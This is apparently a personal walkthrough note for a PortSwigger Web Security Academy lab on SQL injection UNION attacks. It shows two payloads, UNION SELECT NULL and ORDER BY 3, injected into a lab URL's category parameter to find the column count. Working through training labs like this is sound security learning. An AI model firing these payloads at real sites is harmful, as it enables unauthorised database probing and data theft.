https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns

try ' UNION SELECT NULL,NULL,NULL-- ⇒ NO error

https://aced1fd11e19ddd4c1dd57e100510060.web-security-academy.net/filter?category=Lifestyle' UNION SELECT NULL,NULL,NULL--

try ' ORDER BY 3-- ⇒ No error when you will change it to 4 there will be an error

https://aced1fd11e19ddd4c1dd57e100510060.web-security-academy.net/filter?category=Lifestyle' ORDER BY 3--